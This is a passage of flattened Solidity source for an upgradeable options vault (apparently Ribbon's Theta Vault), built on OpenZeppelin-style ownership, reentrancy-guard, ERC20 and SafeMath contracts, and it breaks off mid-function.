(bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // // solhint-disable-next-line compiler-version /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } abstract contract ReentrancyGuardUpgradeable is Initializable { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; function __ReentrancyGuard_init() internal initializer { __ReentrancyGuard_init_unchained(); } function __ReentrancyGuard_init_unchained() internal initializer { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } uint256[49] private __gap; } // /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[49] private __gap; } // /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMathUpgradeable { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } contract ERC20Upgradeable is Initializable, ContextUpgradeable, IERC20Upgradeable { using SafeMathUpgradeable for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ function __ERC20_init(string memory name_, string memory symbol_) internal initializer { __Context_init_unchained(); __ERC20_init_unchained(name_, symbol_); } function __ERC20_init_unchained(string memory name_, string memory symbol_) internal initializer { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } uint256[44] private __gap; } contract OptionsVaultStorageV1 is ReentrancyGuardUpgradeable, OwnableUpgradeable, ERC20Upgradeable { // DEPRECATED: This variable was originally used to store the asset address we are using as collateral // But due to gas optimization and upgradeability security concerns, // we removed it in favor of using immutable variables // This variable is left here to hold the storage slot for upgrades address private _oldAsset; // Privileged role that is able to select the option terms (strike price, expiry) to short address public manager; // Option that the vault is shorting in the next cycle address public nextOption; // The timestamp when the `nextOption` can be used by the vault uint256 public nextOptionReadyAt; // Option that the vault is currently shorting address public currentOption; // Amount that is currently locked for selling options uint256 public lockedAmount; // Cap for total amount deposited into vault uint256 public cap; // Fee incurred when withdrawing out of the vault, in the units of 10**18 // where 1 ether = 100%, so 0.005 means 0.5% fee uint256 public instantWithdrawalFee; // Recipient for withdrawal fees address public feeRecipient; } contract OptionsVaultStorage is OptionsVaultStorageV1 { } // contract RibbonThetaVault is DSMath, OptionsVaultStorage { using ProtocolAdapter for IProtocolAdapter; using SafeERC20 for IERC20; using SafeMath for uint256; string private constant _adapterName = "OPYN_GAMMA"; IProtocolAdapter public immutable adapter; address public immutable asset; address public immutable underlying; address public immutable WETH; address public immutable USDC; bool public immutable isPut; uint8 private immutable _decimals; // AirSwap Swap contract // https://github.com/airswap/airswap-protocols/blob/master/source/swap/contracts/interfaces/ISwap.sol ISwap public immutable SWAP_CONTRACT; // 90% locked in options protocol, 10% of the pool reserved for withdrawals uint256 public constant lockedRatio = 0.9 ether; uint256 public constant delay = 1 hours; uint256 public immutable MINIMUM_SUPPLY; event ManagerChanged(address oldManager, address newManager); event Deposit(address indexed account, uint256 amount, uint256 share); event Withdraw( address indexed account, uint256 amount, uint256 share, uint256 fee ); event OpenShort( address indexed options, uint256 depositAmount, address manager ); event CloseShort( address indexed options, uint256 withdrawAmount, address manager ); event WithdrawalFeeSet(uint256 oldFee, uint256 newFee); event CapSet(uint256 oldCap, uint256 newCap, address manager); /** * @notice Initializes the contract with immutable variables * @param _asset is the asset used for collateral and premiums * @param _weth is the Wrapped Ether contract * @param _usdc is the USDC contract * @param _swapContract is the Airswap Swap contract * @param _tokenDecimals is the decimals for the vault shares. Must match the decimals for _asset. * @param _minimumSupply is the minimum supply for the asset balance and the share supply. * It's important to bake the _factory variable into the contract with the constructor * If we do it in the `initialize` function, users get to set the factory variable and * subsequently the adapter, which allows them to make a delegatecall, then selfdestruct the contract. */ constructor( address _asset, address _factory, address _weth, address _usdc, address _swapContract, uint8 _tokenDecimals, uint256 _minimumSupply, bool _isPut ) { require(_asset != address(0), "!_asset"); require(_factory != address(0), "!_factory"); require(_weth != address(0), "!_weth"); require(_usdc != address(0), "!_usdc"); require(_swapContract != address(0), "!_swapContract"); require(_tokenDecimals > 0, "!_tokenDecimals"); require(_minimumSupply > 0, "!_minimumSupply"); IRibbonFactory factoryInstance = IRibbonFactory(_factory); address adapterAddr = factoryInstance.getAdapter(_adapterName); require(adapterAddr != address(0), "Adapter not set"); asset = _isPut ? _usdc : _asset; underlying = _asset; adapter = IProtocolAdapter(adapterAddr); WETH = _weth; USDC = _usdc; SWAP_CONTRACT = ISwap(_swapContract); _decimals = _tokenDecimals; MINIMUM_SUPPLY = _minimumSupply; isPut = _isPut; } /** * @notice Initializes the OptionVault contract with storage variables. * @param _owner is the owner of the contract who can set the manager * @param _feeRecipient is the recipient address for withdrawal fees. * @param _initCap is the initial vault's cap on deposits, the manager can increase this as necessary. * @param _tokenName is the name of the vault share token * @param _tokenSymbol is the symbol of the vault share token */ function initialize( address _owner, address _feeRecipient, uint256 _initCap, string calldata _tokenName, string calldata _tokenSymbol ) external initializer { require(_owner != address(0), "!_owner"); require(_feeRecipient != address(0), "!_feeRecipient"); require(_initCap > 0, "_initCap > 0"); require(bytes(_tokenName).length > 0, "_tokenName != 0x"); require(bytes(_tokenSymbol).length > 0, "_tokenSymbol != 0x"); __ReentrancyGuard_init(); __ERC20_init(_tokenName, _tokenSymbol); __Ownable_init(); transferOwnership(_owner); cap = _initCap; // hardcode the initial withdrawal fee instantWithdrawalFee = 0.005 ether; feeRecipient = _feeRecipient; } /** * @notice Sets the new manager of the vault. * @param newManager is the new manager of the vault */ function setManager(address newManager) external onlyOwner { require(newManager != address(0), "!newManager"); address oldManager = manager; manager = newManager; emit ManagerChanged(oldManager, newManager); } /** * @notice Sets the new fee recipient * @param newFeeRecipient is the address of the new fee recipient */ function setFeeRecipient(address newFeeRecipient) external onlyOwner { require(newFeeRecipient != address(0), "!newFeeRecipient"); feeRecipient = newFeeRecipient; } /** * @notice Sets the new withdrawal fee * @param newWithdrawalFee is the fee paid in tokens when withdrawing */ function setWithdrawalFee(uint256 newWithdrawalFee) external onlyManager { require(newWithdrawalFee > 0, "withdrawalFee != 0"); // cap max withdrawal fees to 30% of the withdrawal amount require(newWithdrawalFee < 0.3 ether, "withdrawalFee >= 30%"); uint256 oldFee = instantWithdrawalFee; emit WithdrawalFeeSet(oldFee, newWithdrawalFee); instantWithdrawalFee = newWithdrawalFee; } /** * @notice Deposits ETH into the contract and mint vault shares. Reverts if the underlying is not WETH. */ function depositETH() external payable nonReentrant { require(asset == WETH, "asset is not WETH"); require(msg.value > 0, "No value passed"); IWETH(WETH).deposit{value: msg.value}(); _deposit(msg.value); } /** * @notice Deposits the `asset` into the contract and mint vault shares. * @param amount is the amount of `asset` to deposit */ function deposit(uint256 amount) external nonReentrant { IERC20(asset).safeTransferFrom(msg.sender, address(this), amount); _deposit(amount); } /** * @notice Mints the vault shares to the msg.sender * @param amount is the amount of `asset` deposited */ function _deposit(uint256 amount) private { uint256 totalWithDepositedAmount = totalBalance(); require(totalWithDepositedAmount < cap, "Cap exceeded"); require( totalWithDepositedAmount >= MINIMUM_SUPPLY, "Insufficient asset balance" ); // amount needs to be subtracted from totalBalance because it has already been // added to it from either IWETH.deposit and IERC20.safeTransferFrom uint256 total = totalWithDepositedAmount.sub(amount); uint256 shareSupply = totalSupply(); // Following the pool share calculation from Alpha Homora: // solhint-disable-next-line // https://github.com/AlphaFinanceLab/alphahomora/blob/340653c8ac1e9b4f23d5b81e61307bf7d02a26e8/contracts/5/Bank.sol#L104 uint256 share = shareSupply == 0 ? amount : amount.mul(shareSupply).div(total); require( shareSupply.add(share) >= MINIMUM_SUPPLY, "Insufficient share supply" ); emit Deposit(msg.sender, amount, share); _mint(msg.sender, share); } /** * @notice Withdraws ETH from vault using vault shares * @param share is the number of vault shares to be burned */ function withdrawETH(uint256 share) external nonReentrant { require(asset == WETH, "!WETH"); uint256 withdrawAmount = _withdraw(share); IWETH(WETH).withdraw(withdrawAmount); (bool success, ) = msg.sender.call{value: withdrawAmount}(""); require(success, "ETH transfer failed"); } /** * @notice Withdraws WETH from vault using vault shares * @param share is the number of vault shares to be burned */ function withdraw(uint256 share) external nonReentrant { uint256 withdrawAmount = _withdraw(share); IERC20(asset).safeTransfer(msg.sender, withdrawAmount); } /** * @notice Burns vault shares and checks if eligible for withdrawal * @param share is the number of vault shares to be burned */ function _withdraw(uint256 share) private returns (uint256) { (uint256 amountAfterFee, uint256 feeAmount) = withdrawAmountWithShares(share); emit Withdraw(msg.sender, amountAfterFee, share, feeAmount); _burn(msg.sender, share); IERC20(asset).safeTransfer(feeRecipient, feeAmount); return amountAfterFee; } /** * @notice Sets the next option the vault will be shorting, * and closes the existing short. This allows all the users to withdraw * if the next option is malicious. */ function commitAndClose( ProtocolAdapterTypes.OptionTerms calldata optionTerms ) external onlyManager nonReentrant { _setNextOption(optionTerms); _closeShort(); } function closeShort() external nonReentrant { _closeShort(); } /** * @notice Sets the next option address and the timestamp at which the * admin can call `rollToNextOption` to open a short for the option. * @param optionTerms is the terms of the option contract */ function _setNextOption( ProtocolAdapterTypes.OptionTerms calldata optionTerms ) private { if (isPut) { require( optionTerms.optionType == ProtocolAdapterTypes.OptionType.Put, "!put" ); } else { require( optionTerms.optionType == ProtocolAdapterTypes.OptionType.Call, "!call" ); } address option = adapter.getOptionsAddress(optionTerms); require(option != address(0), "!option"); OtokenInterface otoken = OtokenInterface(option); require(otoken.isPut() == isPut, "Option type does not match"); require( otoken.underlyingAsset() == underlying, "Wrong underlyingAsset" ); require(otoken.collateralAsset() == asset, "Wrong collateralAsset"); // we just assume all options use USDC as the strike require(otoken.strikeAsset() == USDC, "strikeAsset != USDC"); uint256 readyAt = block.timestamp.add(delay); require( otoken.expiryTimestamp() >= readyAt, "Option expiry cannot be before delay" ); nextOption = option; nextOptionReadyAt = readyAt; } /** * @notice Closes the existing short position for the vault. */ function _closeShort() private { address oldOption = currentOption; currentOption = address(0); lockedAmount = 0; if (oldOption != address(0)) { OtokenInterface otoken = OtokenInterface(oldOption); require( block.timestamp > otoken.expiryTimestamp(), "Cannot close short before expiry" ); uint256 withdrawAmount = adapter.delegateCloseShort(); emit CloseShort(oldOption, withdrawAmount, msg.sender); } } /** * @notice Rolls the vault's funds into a new short position. */ function rollToNextOption() external onlyManager nonReentrant { require( block.timestamp >= nextOptionReadyAt, "Cannot roll before delay" ); address newOption = nextOption; require(newOption != address(0), "No found option"); currentOption = newOption; nextOption = address(0); uint256 currentBalance = IERC20(asset).balanceOf(address(this)); uint256 shortAmount = wmul(currentBalance, lockedRatio); lockedAmount = shortAmount; OtokenInterface otoken = OtokenInterface(newOption); ProtocolAdapterTypes.OptionTerms memory optionTerms = ProtocolAdapterTypes.OptionTerms( otoken.underlyingAsset(), USDC, otoken.collateralAsset(), otoken.expiryTimestamp(), otoken.strikePrice().mul(10**10), // scale back to 10**18 isPut ? ProtocolAdapterTypes.OptionType.Put : ProtocolAdapterTypes.OptionType.Call, // isPut address(0) ); uint256 shortBalance = adapter.delegateCreateShort(optionTerms, shortAmount); IERC20 optionToken = IERC20(newOption); optionToken.safeApprove(address(SWAP_CONTRACT), shortBalance); emit OpenShort(newOption, shortAmount, msg.sender); } /** * @notice Withdraw from the options protocol by closing short in an event of a emergency */ function emergencyWithdrawFromShort() external onlyManager nonReentrant { address oldOption = currentOption; require(oldOption != address(0), "!currentOption"); currentOption = address(0); nextOption = address(0); lockedAmount = 0; uint256 withdrawAmount = adapter.delegateCloseShort(); emit CloseShort(oldOption, withdrawAmount, msg.sender); } /** * @notice Performs a swap of `currentOption` token to `asset` token with a counterparty * @param order is an Airswap order */ function sellOptions(Types.Order calldata order) external onlyManager { require( order.sender.wallet == address(this), "Sender can only be vault" ); require( order.sender.token == currentOption, "Can only sell currentOption" ); require(order.signer.token == asset, "Can only buy with asset token"); SWAP_CONTRACT.swap(order); } /** * @notice Sets a new cap for deposits * @param newCap is the new cap for deposits */ function setCap(uint256 newCap) external onlyManager { uint256 oldCap = cap; cap = newCap; emit CapSet(oldCap, newCap, msg.sender); } /** * @notice Returns the expiry of the current option the vault is shorting */ function currentOptionExpiry() external view returns (uint256) { address _currentOption = currentOption; if (_currentOption == address(0)) { return 0; } OtokenInterface oToken = OtokenInterface(currentOption); return oToken.expiryTimestamp(); } /** * @notice Returns the amount withdrawable (in `asset` tokens) using the `share` amount * @param share is the number of shares burned to withdraw asset from the vault * @return amountAfterFee is the amount of asset tokens withdrawable from the vault * @return feeAmount is the fee amount (in asset tokens) sent to the feeRecipient */ function withdrawAmountWithShares(uint256 share) public view returns (uint256 amountAfterFee, uint256 feeAmount) { uint256 currentAssetBalance = assetBalance(); ( uint256 withdrawAmount, uint256 newAssetBalance, uint256 newShareSupply ) = _withdrawAmountWithShares(share, currentAssetBalance); require( withdrawAmount <= currentAssetBalance, "Cannot withdraw more than available" ); require(newShareSupply >= MINIMUM_SUPPLY, "Insufficient share supply"); require( newAssetBalance >= MINIMUM_SUPPLY, "Insufficient asset balance" ); feeAmount = wmul(withdrawAmount, instantWithdrawalFee); amountAfterFee = withdrawAmount.sub(feeAmount); } /** * @notice Helper function to return the `asset` amount returned using the `share` amount * @param share is the number of shares used to withdraw * @param currentAssetBalance is the value returned by totalBalance(). This is passed in to save gas. */ function _withdrawAmountWithShares( uint256 share, uint256 currentAssetBalance ) private view returns ( uint256 withdrawAmount, uint256 newAssetBalance, uint256 newShareSupply ) { uint256 total = lockedAmount.add(currentAssetBalance); uint256 shareSupply = totalSupply(); // solhint-disable-next-line // Following the pool share calculation from Alpha Homora: https://github.com/AlphaFinanceLab/alphahomora/blob/340653c8ac1e9b4f23d5b81e61307bf7d02a26e8/contracts/5/Bank.sol#L111 withdrawAmount = 